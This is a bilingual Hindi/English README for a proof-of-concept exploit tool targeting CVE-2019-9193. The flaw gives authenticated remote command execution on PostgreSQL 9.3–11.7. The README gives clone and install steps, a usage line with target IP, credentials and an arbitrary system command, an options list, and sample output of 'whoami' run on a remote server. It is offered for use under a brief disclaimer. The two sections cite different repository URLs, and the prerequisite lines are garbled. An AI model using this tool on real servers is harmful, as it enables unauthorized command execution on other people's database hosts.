
PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में प्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता का शोषण करने के लिए डिज़ाइन किया गया PoC उपकरण
GenPostgresRCEExploit एक PoC टूल है जो PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में एक प्रमाणित रिमोट कोड निष्पादन (RCE) कमजोरी का शोषण करने के लिए डिज़ाइन किया गया है। यह प्रमाणित उपयोगकर्ताओं को CVE-2019-9193 के प्रति संवेदनशील PostgreSQL डेटाबेस सर्वर पर सिस्टम कमांड निष्पादित करने की अनुमति देता है।
psycopg2 pip से)libpq-dev apt से)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL सर्वर का IP पता (डिफ़ॉल्ट: 127.0.0.1)-p, --port: PostgreSQL सर्वर पोर्ट (डिफ़ॉल्ट: 5432)-d, --database: PostgreSQL डेटाबेस का नाम (डिफ़ॉल्ट: template1)-U, --user: PostgreSQL सर्वर से कनेक्ट करने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: postgres)-P, --password: PostgreSQL सर्वर से कनेक्ट करने के लिए पासवर्ड (डिफ़ॉल्ट: postgres)-c, ---command: सर्वर पर निष्पादित किया जाने वाला सिस्टम कमांड-t, --timeout: सेकंड में कनेक्शन टाइमआउट (डिफ़ॉल्ट: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
यह उदाहरण 192.168.1.10 पर PostgreSQL सर्वर से कनेक्ट होता है, दिए गए प्रमाण-पत्रों से प्रमाणित होता है, और whoami कमांड निष्पादित करता है।
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
यह टूल केवल शैक्षिक उद्देश्यों और नैतिक परीक्षण के लिए है। किसी भी सिस्टम के खिलाफ इस टूल का अनधिकृत उपयोग अवैध है और सख्ती से प्रतिबंधित है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।
GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.
psycopg2 package)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)-p, --port: PostgreSQL server port (Default: 5432)-d, --database: PostgreSQL database name (Default: template1)-U, --user: Username to connect to the PostgreSQL server (Default: postgres)-P, --password: Password to connect to PostgreSQL server (Default: postgres)-c, --command: System command to execute on the server-t, --timeout: Connection timeout in seconds (Default: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.